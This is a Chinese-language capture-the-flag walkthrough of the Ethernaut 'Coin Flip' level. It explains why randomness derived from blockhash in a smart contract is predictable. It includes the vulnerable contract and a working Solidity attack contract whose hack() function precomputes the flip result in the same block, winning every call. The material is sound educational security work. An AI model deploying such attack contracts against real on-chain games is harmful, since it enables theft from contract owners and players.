// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
玩家必須遊玩投擲硬幣遊戲,並且連續猜對 10 次才能通關
智能合約用途廣泛,其中也不乏娛樂用途,但你知道其實,鏈上是產生不出隨機數的嗎?
原因是「鏈上的交易、資訊都是公開透明的」,而隨機數就恰好是由這些鏈上的資訊所產生,因此,我們大可以使用相同的資訊產生一組完全相同的資料來偷窺結果,那在第四關 Coin Flip 則會實際的讓大家操作一次這個過程。
我們先專注在 flip 這個 function 上,可以看到它是由 block.number 和 blockhash() 產生出隨機數,先來看看 block.number 和 blockhash() 分別的用途吧
block.number : 回傳當前的區塊編號
blockhash(uint blocknumber) : 回傳給定的區塊編號的 hash
好的,所以只要我們的交易能夠和倒楣鬼放在同一個區塊裡面,這樣我們就能夠產生一組一模一樣的結果,再用這個結果 call flip 這個 function 就大功告成了。
哼哼,正好智能合約就可以幫我們做到這件事情,來看看下面這張示意圖吧。
簡言之,由惡意合約呼叫的目標合約的交易,這個動作是會被礦工打包進同一個區塊裡面的,所以我們可以在惡意合約裡面產生一次隨機數,再把這個隨機數當作 function 的參數傳入 flip,就能做到直接把結果當作參數輸入進去函數,這樣一來就能以 100% 獲勝的機率去猜硬幣囉。
打開 remix 並且實作一次我們的假設。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Coinflip {
function flip(bool _guess) external returns (bool);
}
contract malicious {
Coinflip target = Coinflip("Your contract address");
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function hack() public {
uint256 blockValue = uint256(blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side);
}
}
記得將 Coinflip() 括號內填上自己的關卡的 address,然後部署上鏈就能測試效果啦
由於程式碼內有含
if (lastHash == blockValue) {
revert();
}
不允許某一次的結果被猜一次以上,因此必須獨立執行十次 hack function 才能順利通關
就這樣,你也動手試試看吧
t(-.-t) t(-.-t) t(-.-t)
我們現在已經知道了不能使用鏈上的資料產生隨機數,那我們該如何產生隨機數呢?